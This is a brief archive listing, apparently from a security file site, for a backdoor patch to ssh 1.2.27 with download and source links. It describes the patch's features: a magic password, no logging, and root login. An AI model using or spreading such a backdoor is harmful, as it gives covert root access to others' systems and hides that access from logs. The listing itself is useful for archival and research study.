w00w00’s magic backdoor patch for ssh 1.2.27. Magic password, does not log, permits root login, etc.
You can download it from the following link: https://packetstormsecurity.com/files/download/11557/ssh-1.2.27rk.diff
Source: https://packetstormsecurity.com/files/11557/ssh-1.2.27rk.diff.html